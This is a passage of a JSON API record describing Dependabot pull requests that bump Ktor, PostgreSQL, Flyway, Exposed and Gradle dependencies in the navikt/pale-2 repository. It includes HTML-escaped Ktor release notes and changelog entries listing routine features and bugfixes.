unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-client-content-negotiation's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e C...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/pale-2/pull/429","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Fpale-2/issues/429","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/429/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-18T06:48:30.000Z","version_change":"42.7.10 → 42.7.11","issue":{"uuid":"4466890978","node_id":"PR_kwDOLCLkK87ciVl0","number":87,"state":"closed","title":"Bump the minor-and-patch group across 1 directory with 31 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-22T07:03:45.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-18T06:48:30.000Z","updated_at":"2026-05-22T07:03:47.000Z","time_to_close":346515,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"minor-and-patch","update_count":31,"packages":[{"name":"io.ktor:ktor-server-core-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-metrics-micrometer","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-call-logging-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-config-yaml","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth-jwt","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-status-pages-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-kotlinx-json","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-logging-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-encoding","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-test-host","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-auth","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-okhttp-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-kotlinx-json-jvm","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-mock","old_version":"3.4.2","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"no.nav.security:token-validation-ktor-v3","old_version":"6.0.5","new_version":"6.0.7","repository_url":"https://github.com/navikt/token-support"},{"name":"io.micrometer:micrometer-registry-prometheus","old_version":"1.16.4","new_version":"1.16.5","repository_url":"https://github.com/micrometer-metrics/micrometer"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-core","old_version":"12.3.0","new_version":"12.6.1"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.3.0","new_version":"12.6.1"},{"name":"org.jetbrains.exposed:exposed-core","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-dao","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-jdbc","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.exposed:exposed-kotlin-datetime","old_version":"1.2.0","new_version":"1.3.0","repository_url":"https://github.com/JetBrains/Exposed"},{"name":"org.jetbrains.kotlin:kotlin-test-junit","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"no.nav.security:mock-oauth2-server","old_version":"3.0.1","new_version":"3.0.3","repository_url":"https://github.com/navikt/mock-oauth2-server"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.1","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the minor-and-patch group with 31 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [io.ktor:ktor-server-core-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-metrics-micrometer](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-call-logging-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-netty-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-config-yaml](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-auth-jwt](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-status-pages-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-serialization-kotlinx-json](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-logging-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-encoding](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-server-test-host](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-okhttp-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-serialization-kotlinx-json-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [io.ktor:ktor-client-mock](https://github.com/ktorio/ktor) | `3.4.2` | `3.5.0` |\n| [no.nav.security:token-validation-ktor-v3](https://github.com/navikt/token-support) | `6.0.5` | `6.0.7` |\n| [io.micrometer:micrometer-registry-prometheus](https://github.com/micrometer-metrics/micrometer) | `1.16.4` | `1.16.5` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| org.flywaydb:flyway-core | `12.3.0` | `12.6.1` |\n| org.flywaydb:flyway-database-postgresql | `12.3.0` | `12.6.1` |\n| [org.jetbrains.exposed:exposed-core](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-dao](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-jdbc](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.exposed:exposed-kotlin-datetime](https://github.com/JetBrains/Exposed) | `1.2.0` | `1.3.0` |\n| [org.jetbrains.kotlin:kotlin-test-junit](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [no.nav.security:mock-oauth2-server](https://github.com/navikt/mock-oauth2-server) | `3.0.1` | `3.0.3` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.1` |\n\n\nUpdates `io.ktor:ktor-server-core-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-metrics-micrometer` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-metrics-micrometer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-metrics-micrometer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client 